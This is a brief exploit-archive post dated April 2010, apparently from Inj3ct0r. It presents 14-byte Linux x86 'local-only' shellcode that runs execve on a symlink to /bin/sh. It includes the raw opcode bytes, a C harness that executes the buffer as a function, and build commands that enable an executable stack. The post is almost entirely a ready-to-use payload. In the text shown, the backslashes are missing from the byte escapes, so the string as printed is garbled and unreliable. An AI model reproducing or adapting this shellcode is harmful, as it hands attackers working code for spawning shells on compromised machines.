linux/x86 execve("a->/bin/sh") Local-only Shell
Posted on 17 April 2010
============================================================ linux/x86 execve("a->/bin/sh") Local-only Shellcode 14 Bytes ============================================================ #include <stdio.h> #include <string.h> /* by Magnefikko 17.04.2010 magnefikko@gmail.com Promhyl Studies :: http://promhyl.oz.pl Subgroup: #PRekambr Name: 14 bytes execve("a->/bin/sh") local-only shellcode Platform: Linux x86 execve("a", 0, 0); $ ln -s /bin/sh a $ gcc -Wl,-z,execstack filename.c $ ./a.out Link is required. shellcode: x31xc0x50x6ax61x89xe3x99x50xb0x0bx59xcdx80 */ int main(){ char shell[] = "x31xc0x50x6ax61x89xe3x99x50xb0x0bx59xcdx80"; printf("by Magnefikko magnefikko@gmail.com promhyl.oz.pl strlen(shell) = %d ", strlen(shell)); (*(void (*)()) shell)(); } # Inj3ct0r.com [2010-04-17]